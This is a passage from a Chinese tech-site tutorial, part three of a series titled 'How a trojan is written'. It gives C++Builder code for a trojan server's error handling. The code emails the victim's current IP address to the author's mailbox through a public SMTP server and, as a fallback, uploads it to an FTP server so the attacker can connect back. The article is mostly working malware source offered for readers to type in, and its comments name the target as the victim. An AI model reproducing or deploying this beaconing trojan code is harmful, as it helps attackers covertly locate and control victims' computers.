用户 密码
太平洋系列网站:太平洋汽车网 | 太平洋游戏网
首  页 | 数码世界 | 手机通讯 | 硬件资讯 | 软件资讯 | 招聘与培训 | 游戏天下 | 下载中心 科技动态 | 今日报价 | 渠道商情 | 产品大全 | 笔 记 本 | 教你买电脑 | 评 测 室 | 短信中心
论  坛 | 影音家电 | 摄影专区 | 玩家E族 | 竞技天地 | Flash 动漫 | 有奖活动 |

-
您现在的位置:软件资讯 > 开发特区 > 开发语言 > C++Builder
木马是如何编写的(三)

出处:PConline
责任编辑:pjl

[04-2-14 9:29] 作者:周侃/中国软件
  上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{
END:;
Socket->Close();
file://关/闭服务
ServerSocket1->Active =true;
file://再/次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如/果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp.163.net";
file://选/一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你/SMTP的ID
try
{
NMSMTP1->Connect();
file://再/次连接
}
catch(...)
{
goto NextTime;
file://跳/到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受/害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受/害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";
file://将/信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信/的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信/的主题
NMSMTP1->SendMail();
file://发/送!
return;
file://返/回

NextTime:
NMFTP1->Host = "ftp://ftp.go.163.com"/;
file://你/的FTP服务器的地址
NMFTP1->UserID = "";
file://你/的用户ID
NMFTP1->Port = 21;
file://FTP/端口号,一般为21
NMFTP1->Password = "";
file://你/的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如/果已连接就断开
try
{
NMFTP1->Connect();
file://再/连接
}
catch(...)
{
return;
file://返/回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受/害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创/建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写/入以上的SendToSite的内容
fclose(Upload);
file://写/完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删/除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上/传!
}

发给好友 投稿给我们 加入收藏 返回顶部

相关文章:
木马是如何编写的(二)
木马是如何编写的(一)
流行木马大清除
当心QQ木马!
如何防止ID被盗
解决掉你的木马
IT培训十大热门文章

内容搜索 
高级搜索
本栏今日焦点